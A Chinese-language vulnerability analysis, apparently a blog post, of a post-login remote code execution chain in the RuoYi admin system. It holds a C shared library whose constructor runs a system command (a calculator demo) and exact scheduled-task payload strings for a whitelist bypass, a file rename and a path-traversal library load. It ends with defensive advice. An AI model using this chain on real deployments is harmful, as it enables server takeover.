要利用该漏洞,攻击者需要知道目标系统的 profile 目录路径。
环境搭建
项目地址:https://github.com/yangzongzhuan/RuoYi/releases
首先导入项目所需的数据库,然后修改 application-druid.yml 文件中的数据库账号与密码。接着,需要修改 application.yml 配置文件中的文件上传路径以及日志存放路径。


当一切配置就绪后,启动应用,若看到控制台输出启动成功的信息,则说明环境搭建完成。

漏洞分析
计划任务功能
RuoYi 后台管理系统提供了强大的计划任务(定时任务)管理功能。管理员可以在系统管理界面添加新的定时任务。

通过拦截浏览器提交的数据包,我们可以定位到处理新增任务的后端路由为 /monitor/job/add,其对应的方法为 SysJobController.addSave()。

在 addSave 方法中,程序对用户传入的 invokeTarget(调用目标字符串)进行了一系列的安全检查。

通过调试,我们可以清晰地看到这些检查的逻辑。前几个条件判断主要检查 invokeTarget 中是否包含 rmi、ldap(s)、http(s) 等关键词,目的是禁止通过这些协议进行远程调用,以防止潜在的 Java反序列化 或远程类加载攻击。

紧接着,代码会判断 invokeTarget 是否包含一些黑名单中的类名或包名,例如 java.net.URL、javax.naming.InitialContext 等。

最重要的检查是白名单验证。程序会进入 ScheduleUtils.whiteList() 方法。

该方法首先从 invokeTarget 中提取出调用的完整类名(包含方法名),然后检查该类名字符串中是否包含白名单字符串 com.ruoyi.quartz.task。

这里的关键在于,检查使用的是 StringUtils.containsAnyIgnoreCase() 方法,这是一个正则匹配,意味着白名单字符串 com.ruoyi.quartz.task 只要出现在目标字符串的任意位置即可,而不要求是精确的前缀匹配。这为后续的绕过提供了可能。


如果通过了所有检查,任务信息就会被正常保存到数据库中。

当计划任务被触发执行时,系统会调用 QuartzDisallowConcurrentExecution.doExecute() 方法。

进而通过 JobInvokeUtil.invokeMethod() 方法,来解析并执行我们设定的调用目标。该方法会从 invokeTarget 字符串中分离出类名、方法名和参数值。

在获取方法参数时,代码对参数类型进行了严格限制,只允许字符串、布尔值、长整型、浮点型和整型这些基本类型,无法直接传递复杂的类对象,这在一定程度上增加了利用难度。

解析完成后,程序会实例化目标类,并通过反射调用其指定的方法。


综上所述,要成功添加并执行一个恶意的计划任务,我们需要满足以下几个条件:
- 使用的类名不在黑名单中。
- 调用目标字符串的任意位置包含
com.ruoyi.quartz.task 这个白名单字符串。
- 不能使用
rmi、ldap、http 等协议关键词。
文件上传功能
在 RuoYi 系统中,存在一个通用的文件上传端点 /common/upload。

我们可以尝试上传一个文件,观察其行为。上传后,文件会被重命名并保存到配置的 profile 目录下,同时返回访问URL。


这里有一个重要的发现:上传文件的原始文件名会被保留在返回信息中。那么,如果我们上传一个文件名本身就包含 com.ruoyi.quartz.task 字符串的文件,这个文件名不就能作为白名单校验的“载体”了吗?

组合利用导致RCE
在 Java 中,存在一种名为 JNI (Java Native Interface) 的机制,它允许 Java 代码调用由其他语言(如 C/C++)编写的本地库。当本地库被加载时,其构造函数(标记为 __constructor__)会立即执行。
com.sun.glass.utils.NativeLibLoader 类的 loadLibrary(String libname) 方法正好可以加载这类本地库,并且该方法也是 public 修饰的。

我们可以编写一个恶意的 C 语言动态链接库,在其构造函数中执行系统命令,例如打开计算器。
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
__attribute__ ((__constructor__)) void angel(void){
// 调用 system 函数打开计算器应用程序
system("open -a calculator");
}
//gcc -arch x86_64 -shared -o 1.dylib calc.c
//根据不同架构修改
在 macOS 系统下,使用如下命令编译(注意根据目标系统架构调整编译参数):
gcc -arch x86_64 -shared -o 1.dylib calc.c
mv 1.dylib ~/Downloads

需要注意的是,loadLibrary 方法会根据操作系统自动为库文件名添加后缀(如 macOS 的 .dylib, Linux 的 .so)。因此,我们在构造利用链时,需要先上传一个文件,再将其重命名为正确的库文件格式。

漏洞利用链构造
- 上传恶意库文件:首先,我们将编译好的
1.dylib 文件,以包含白名单字符串的文件名(例如 com.ruoyi.quartz.task.txt)进行上传。这样,返回的文件路径中就会携带 com.ruoyi.quartz.task 字符串。

上传成功后,在服务器上确认文件已存在。

- 重命名文件:由于上传的文件后缀是
.txt,需要将其改为 .dylib 才能被 loadLibrary 加载。我们可以利用系统已有的 ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying() 方法来实现文件重命名。这个方法可以通过计划任务来调用。
ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying("/Users/Aecous/tmp/upload/2025/04/25/com.ruoyi.quartz.task_20250425182743A001.txt","/Users/Aecous/tmp/upload/2025/04/25/com.ruoyi.quartz.task_20250425182743A001.dylib");

在后台添加一个计划任务,调用上述重命名方法。

执行该任务后,确认文件已被正确重命名。

- 执行RCE:最后,添加另一个计划任务,调用
NativeLibLoader.loadLibrary() 方法,通过路径穿越 (../../../../) 指向我们上传并重命名后的恶意动态链接库(注意调用时无需加后缀)。
com.sun.glass.utils.NativeLibLoader.loadLibrary('../../../../../../../../../../../Users/Aecous/tmp/upload/2025/04/25/com.ruoyi.quartz.task_20250425182743A001');

当这个任务执行时,loadLibrary 会加载我们构造的 .dylib 文件,其构造函数中的 system("open -a calculator") 命令随即被执行,成功弹出了计算器,从而完成了从后台权限到远程代码执行(RCE)的完整攻击链。

这个漏洞的根源在于白名单校验逻辑的不严谨(子串匹配而非前缀匹配)与危险功能的可访问性(文件上传可控路径、可被调用的危险类方法)。在开发涉及后端任务调度和文件管理的系统时,必须对用户输入进行严格的校验和过滤,并对可反射调用的类与方法范围进行最小化限制。更多关于安全开发与实践的讨论,欢迎访问云栈社区。